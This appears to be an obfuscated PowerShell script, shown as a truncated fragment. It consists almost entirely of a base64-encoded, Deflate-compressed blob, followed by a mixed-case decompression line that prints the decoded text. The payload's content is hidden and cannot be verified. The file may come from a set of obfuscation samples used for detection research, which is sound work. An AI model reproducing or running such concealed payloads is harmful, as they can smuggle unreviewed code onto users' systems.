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'), [SySTem.io.ComPReSsiON.cOMPrEsSIONmOde]::DeCompREsS)), [SYStem.tEXT.EncOdiNg]::AScIi)).reAdtOEND() | Write-Output
# 3_2.ps1
